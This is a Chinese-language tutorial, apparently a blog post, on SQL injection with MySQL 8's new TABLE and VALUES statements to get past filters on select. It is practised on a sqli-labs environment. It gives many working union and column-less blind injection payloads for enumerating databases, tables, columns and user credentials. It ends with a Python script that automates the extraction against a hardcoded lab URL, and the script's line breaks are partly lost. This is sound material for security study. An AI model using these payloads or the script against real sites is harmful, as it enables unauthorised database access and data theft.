0x00 前言

前段时间遇到一个题考查的是mysql8的table注入。当时没有做出来。之前有了解过mysql8的table注入,但做题的时候没有想到。这里简单总结复现一下mysql8新特性的sql注入。

 

0x01 MySQL8介绍

在ubuntu20 apt源中集成了mysql 8.0.20。官方表示MySQL8要比MySQL5.7快2倍,支持json,nosql,修改了默认身份验证等其他改进。

 

0x02 基本环境配置

1、搭建MySQL8环境

最简单的方法,就是使用docker拉取镜像搭建

docker pull mysql:8.0.21
docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.21 

2、搭建SQL注入环境

1.下载vulstudy综合环境:https://github.com/c0ny1/vulstudy
2.启动vulstudy综合环境里的sql注入的靶场
3.进入容器修改sqli-lab的配置文件:

#安装vim sed -i s@/deb.debian.org/@/mirrors.aliyun.com/@g /etc/apt/sources.list
apt-get clean && apt-get update && apt-get install vim #修改sqli-lab的配置文件 vim /app/sql-connections/db-creds.inc 

填写mysql相关连接信息,数据库的IP填宿主机IP(我这里是172.30.102.102)

4.然后在mysql8容器里通过下面sql语句修改默认认证方式(因为mysql8.0默认认证方式和5不一样):

ALTER USER 'root' IDENTIFIED WITH mysql_native_password BY '123456'; 

5.重新配置数据库,环境搭建完成。

 

0x03 MySQL8语法新特性

在MySQL 8.0.19之后,MySQL推出几种新语法

1、TABLE statement

TABLE statement
作用:列出表中全部内容

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]] 

TABLE是MySQL 8.0.19中引入的DML语句,它返回命名表的行和列,类似于SELECT。
支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。
例子
首先选择mysql数据库:use security;

mysql> TABLE users;
+----+----------+------------+ | id | username | password   |
+----+----------+------------+ |  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
| 3 | Dummy    | p@ssword   |
| 4 | secure   | crappy     |
| 5 | stupid   | stupidity  |
| 6 | superman | genious    |
| 7 | batman   | mob!le     |
| 8 | admin | admin |
| 9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+ 13 rows in set (0.01 sec) 

加上order by排序或LIMIT限制后

table users order by password;
table users limit 1;
table users limit 0,1;
table users limit 1,1; 

与SELECT的区别

1.TABLE始终显示表的所有列
2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句

2、VALUES statement

VALUES statement
作用:列出一行的值

VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]

row_constructor_list:
    ROW(value_list)[, ROW(value_list)][, ...]

value_list:
    value[, value][, ...]

column_designator: 
    column_index 

VALUES是把一组一个或多个行作为表展示出来,返回的也是一个表数据。
ROW()返回的是一个行数据,VALUES将ROW()返回的行数据加上字段整理为一个表,然后展示
例子

mysql> TABLE emails;
+----+------------------------+ | id | email_id               |
+----+------------------------+ |  1 | Dumb@dhakkan.com       |
|  2 | Angel@iloveu.com       |
|  3 | Dummy@dhakkan.local    |
|  4 | secure@dhakkan.local   |
|  5 | stupid@dhakkan.local   |
|  6 | superman@dhakkan.local |
|  7 | batman@dhakkan.local   |
|  8 | admin@dhakkan.com      |
+----+------------------------+ 8 rows in set (0.00 sec)

mysql> VALUES ROW(1, 2, 3) UNION SELECT * FROM users;
+----------+----------+------------+ | column_0 | column_1 | column_2   |
+----------+----------+------------+ |        1 | 2        | 3          |
|        1 | Dumb     | Dumb       |
|        2 | Angelina | I-kill-you |
| 3 | Dummy    | p@ssword   |
| 4 | secure   | crappy     |
| 5 | stupid   | stupidity  |
| 6 | superman | genious    |
| 7 | batman   | mob!le     |
| 8 | admin | admin |
| 9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----------+----------+------------+ 14 rows in set (0.00 sec) 

 

0x04 利用MySQL8新特性绕过select

场景:select关键词被过滤,多语句无法使用
测试环境
1.mysql命令终端
2.sqli-labs靶场Less-1

1、在mysql命令终端测试

1.判断列数

由于TABLE命令和VALUES返回的都是表数据,它们所返回的数据可以通过UNION语句联合起来,当列数不对时会报错,根据这点可以判断列数

TABLE users union VALUES ROW(1,2,3); 

2.使用values判断回显位

select * from users where id=-1 union values row(1,2,3); 

3.列出所有数据库名

table information_schema.schemata; 

4.盲注查询任意表中的内容

语句table users limit 1;的查询结果:

mysql> table users limit 1;
+----+----------+----------+ | id | username | password |
+----+----------+----------+ |  1 | Dumb     | Dumb     |
+----+----------+----------+ 1 row in set (0.00 sec) 

实质上是(id, username, password)(1, 'Dumb', 'Dumb')进行比较,比较顺序为自左向右,第一列(也就是第一个元组元素)判断正确再判断第二列(也就是第二个元组元素)。
两个元组第一个字符比大小,如果第一个字符相等就比第二个字符的大小,以此类推,最终结果即为元组的大小。

mysql> select ((1,'','')<(table users limit 1));
+-----------------------------------+ | ((1,'','')<(table users limit 1)) |
+-----------------------------------+ |                                 1 |
+-----------------------------------+ 1 row in set (0.00 sec)

mysql> select ((2,'','')<(table users limit 1));
+-----------------------------------+ | ((2,'','')<(table users limit 1)) |
+-----------------------------------+ |                                 0 |
+-----------------------------------+ 1 row in set (0.00 sec)

mysql> select ((1,'Du','')<(table users limit 1));
+-------------------------------------+ | ((1,'Du','')<(table users limit 1)) |
+-------------------------------------+ |                                   1 |
+-------------------------------------+ 1 row in set (0.00 sec)

mysql> select ((1,'Dum','')<(table users limit 1));
+--------------------------------------+ | ((1,'Dum','')<(table users limit 1)) |
+--------------------------------------+ |                                    1 |
+--------------------------------------+ 1 row in set (0.00 sec)

mysql> select ((1,'Dumb','')<(table users limit 1));
+---------------------------------------+ | ((1,'Dumb','')<(table users limit 1)) |
+---------------------------------------+ |                                     1 |
+---------------------------------------+ 1 row in set (0.00 sec)

mysql> select ((1,'Dumb','D')<(table users limit 1));
+----------------------------------------+ | ((1,'Dumb','D')<(table users limit 1)) |
+----------------------------------------+ |                                      1 |
+----------------------------------------+ 1 row in set (0.00 sec) 
需要注意的地方

1.当前判断的所在列的后一列需要用字符表示,不能用数字,否则判断到当前列的最后一个字符会判断不出!

2.最好用<=替换<,用<比较一开始并没有问题,但到最后一位时结果为正确字符的前一个字符,用<=结果更直观。

最终判断过程如下:

mysql> select ((1,'Dumb','Dumb')<=(table users limit 1));
+--------------------------------------------+ | ((1,'Dumb','Dumb')<=(table users limit 1)) |
+--------------------------------------------+ |                                          1 |
+--------------------------------------------+ 1 row in set (0.00 sec)

mysql> select ((1,'Dumb','Dumc')<=(table users limit 1));
+--------------------------------------------+ | ((1,'Dumb','Dumc')<=(table users limit 1)) |
+--------------------------------------------+ |                                          0 |
+--------------------------------------------+ 1 row in set (0.00 sec) 

2、在sqli-labs靶场测试

1.判断列数

使用经典的order by语句判断:

1' order by 3--+   #正常 1' order by 4--+   #显示Unknown column '4' in 'order clause' 

说明有3列

2.使用values判断回显位

-1' union values row(1,2,3)--+ 

3.爆库爆表爆字段爆数据

(1)爆当前数据库

-1' union values row(1,database(),3)--+ #或利用盲注1' and ascii(substr((database()),1,1))=115--+   即s 

(2)爆所有数据库
因为table不能像select控制列数,除非列数一样的表,不然都回显不出来。
需要使用table查询配合无列名盲注
information_schema.schemata表有6列
因为schemata表中的第一列是def,不需要判断,所以可以直接判断库名

1' and ('def','m','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显正常 1' and ('def','n','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显错误 #得到第1个数据库名的第一个字符为m
......
1' and ('def','mysql','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显正常 1' and ('def','mysqm','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显错误 

说明第1个数据库名为mysql

1' and ('def','information_schema','',4,5,6)<=(table information_schema.schemata limit 1,1)--+ #回显正常 1' and ('def','information_schemb','',4,5,6)<=(table information_schema.schemata limit 1,1)--+ #回显错误 #说明第2个数据库名为information_schema
......
一直猜解,直到获得全部数据库名 

(3)爆数据表
information_schema.tables表有21列

1' and ('def','security','users','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 317,1)--+ #第一个表users 1' and ('def','security','emails','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 318,1)--+ #第二个表emails 1' and ('def','security','uagents','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 319,1)--+ #第三个表uagents 1' and ('def','security','referers','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 320,1)--+ #第四个表referers 

前两个字段都是确定的,可以写一个for循环判断,如果结果为真,代表从那行开始(这里是limit 317,1,即第318行),然后盲注第三个列。
(4)爆字段名
information_schema.columns表有22列
得到所有表名后开始判断字段名,找到columns表,具体方法和上面一样

1' and ('def','security','users','id','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3386,1)--+ #users表第一个字段为id 1' and ('def','security','users','password','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3387,1)--+ #users表,第二个字段为password 1' and ('def','security','users','username','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3388,1)--+ #users表,第三个字段为username 

(3)爆数据

1' and (1,'D','')<=(table users limit 1)--+ #正常 1' and (1,'E','')<=(table users limit 1)--+ #错误 #table users limit 1也就是table users limit 0,1
#1' and (1,'D','')<=(table users limit 0,1)--+ #正常 #1' and (1,'E','')<=(table users limit 0,1)--+ #错误 ......
1' and (1,'Dumb','Dumb')<=(table users limit 1)--+ #正常 1' and (1,'Dumb','Dumc')<=(table users limit 1)--+ #错误 

得到第1个记录为1 Dumb Dumb

1' and (8,'admin','admin')<=(table users limit 7,1)--+ #正常 1' and (8,'admin','admio')<=(table users limit 7,1)--+ #错误 

得到第8个记录为8 admin admin
一步一步注出数据

 

0x05 脚本编写

一个一个手注,似乎有点麻烦。自己于是尝试写个脚本:

'''
@author qwzf
@desc 本脚本是用于mysql 8新特性的sql注入
@date 2021/02/18
''' import requests import string

url = 'http://121.41.231.75:8002/Less-8/?id=' chars=string.ascii_letters+string.digits+"@{}_-?" def current_db(url): print("利用mysql8新特性或普通布尔盲注:\n1.新特性(联合查询) 2.普通布尔盲注")
    print("请输入序号:",end='')
    num = int(input()) if num == 1:
        payload = "-1' union values row(1,database(),3)--+" #联合查询爆当前数据库(可修改) urls = url + payload
        r = requests.get(url=urls)
        print(r.text) else:
        name='' payload = "1' and ascii(substr((database()),{0},1))={1}--+" #布尔盲注爆当前数据库(可修改) for i in range(1,40):
            char='' for j in chars:
                payloads = payload.format(i,ord(j))
                urls = url + payloads
                r = requests.get(url=urls) if "You are in" in r.text:
                    name += j
                    print(name)
                    char = j break if char == '': break def str2hex(name): res = '' for i in name:
        res += hex(ord(i))
    res = '0x' + res.replace('0x','') return res def dbs(url): #无列名盲注爆所有数据库(可修改) while True:
        print("请输入要爆第几个数据库,如:1,2等:",end='')
        x = int(input())-1 num = str(x) if x < 0: break payload = "1' and ('def',{},'',4,5,6)>(table information_schema.schemata limit "+num+",1)--+" name = '' for i in range(1,20):
            hexchar = '' for char in range(32, 126):
                hexchar = str2hex(name + chr(char))
                payloads = payload.format(hexchar) #print(payloads) urls = url + payloads
                r = requests.get(url=urls) if 'You are in' in r.text:
                    name += chr(char-1)
                    print(name) break def tables_n(url,database): #无列名盲注爆数据表开始行数(可修改) payload = "1' and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit {},1)--+" for i in range(0,10000):
        payloads = payload.format(i)
        urls = url + payloads
        r = requests.get(url=urls) if 'You are in' in r.text:
            char = chr(ord(database[-1])+1)
            database = database[0:-1]+char
            payld = "1' and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit "+str(i)+",1)--+" urls = url + payld
            res = requests.get(url=urls) #print(i) if 'You are in' not in res.text:
                print('从第',i,'行开始爆数据表') #判断开始行数 n = i break return n def tables(url,database,n): #无列名盲注爆数据表(可修改) while True:
        print("请输入要爆第几个数据表,如:1,2等:",end='')
        x = int(input())-1 num = str(x + n) if x < 0: break payload = "1' and ('def','"+database+"',{},'',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)>(table information_schema.tables limit "+num+",1)--+" name = '' for i in range(1,20):
            hexchar = '' for char in range(32, 126):
                hexchar = str2hex(name + chr(char))
                payloads = payload.format(hexchar) #print(payloads) urls = url + payloads
                r = requests.get(url=urls) if 'You are in' in r.text:
                    name += chr(char-1)
                    print(name) break def columns_n(url,database,table): #无列名盲注爆字段开始行数(可修改) payload = "1' and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit {},1)--+" for i in range(3000,10000):
        payloads = payload.format(i)
        urls = url + payloads
        r = requests.get(url=urls) if 'You are in' in r.text:
            char = chr(ord(table[-1])+1)
            table = table[0:-1]+char
            payld = "1' and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit "+str(i)+",1)--+" urls = url + payld
            res = requests.get(url=urls) #print(i) if 'You are in' not in res.text:
                print('从第',i,'行开始爆字段') #判断开始行数 n = i break return n def columns(url,database,table,n): #无列名盲注爆字段值(可修改) while True:
        print("请输入要爆第几个字段,如:1,2等:",end='')
        x = int(input())-1 num = str(x + n) if x < 0: break payload = "1' and ('def','"+database+"','"+table+"',{},'',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)>(table information_schema.columns limit "+num+",1)--+" name = '' for i in range(1,20):
            hexchar = '' for char in range(32, 126):
                hexchar = str2hex(name + chr(char))
                payloads = payload.format(hexchar) #print(payloads) urls = url + payloads
                r = requests.get(url=urls) if 'You are in' in r.text:
                    name += chr(char-1)
                    print(name) break def datas(url,table): #无列名盲注爆数据(可修改) while True:
        print("请输入要爆第几个数据,如:1,2等:",end='')
        x = int(input())
        y = x-1 num = str(y) if y < 0: break payload = "1' and ("+str(x)+",{},'')>(table "+table+" limit "+num+",1)--+" name = '' for i in range(1,20):
            hexchar = '' for char in range(32, 126):
                hexchar = str2hex(name + chr(char))
                payloads = payload.format(hexchar) #print(payloads) urls = url + payloads
                r = requests.get(url=urls) if 'You are in' in r.text:
                    name += chr(char-1)
                    print(name) break if __name__ == "__main__": while True:
        print("请输入要操作的内容:\n1.爆当前数据库\n2.爆数据表开始行号\n3.爆数据表\n4.爆字段值开始行号\n5.爆字段值\n6.爆数据\n7.爆所有数据库")
        types = int(input()) if types == 1:
            current_db(url) elif types == 2 or types == 3:
            print("请输入已经得到的数据库名:",end='')
            database = input() if types == 2:
                tables_n(url,database) elif types == 3:
                print("爆数据表开始行号:",end='')
                n = int(input())
                tables(url,database,n) elif types == 4 or types == 5:
            print("请输入已经得到的数据库名:",end='')
            database = input()
            print("请输入已经得到的数据表名:",end='')
            table = input() if types == 4:
                columns_n(url,database,table) elif types == 5:
                print("爆字段值开始行号:",end='')
                n = int(input())
                columns(url,database,table,n) elif types == 6:
            print("请输入要查询的数据表名:",end='')
            table = input()
            datas(url,table) else:
            dbs(url) 

经测试基本没有问题。上边脚本是get型传参,且参数名为id的脚本。可根据实际情况进行修改。

 

0x06 CTF题目实战

暂时没有找到题目环境,找到后再总结
参考:
RoarCTF部分题目WP

 

0x07 后记

上面记录了mysql8新特性的sql注入。可能会有个别不恰当之处,欢迎大师傅批评指正!

参考:
MYSQL8.0注入新特性
利用MySQL8新特性绕过select过滤
RoarCTF部分题目WP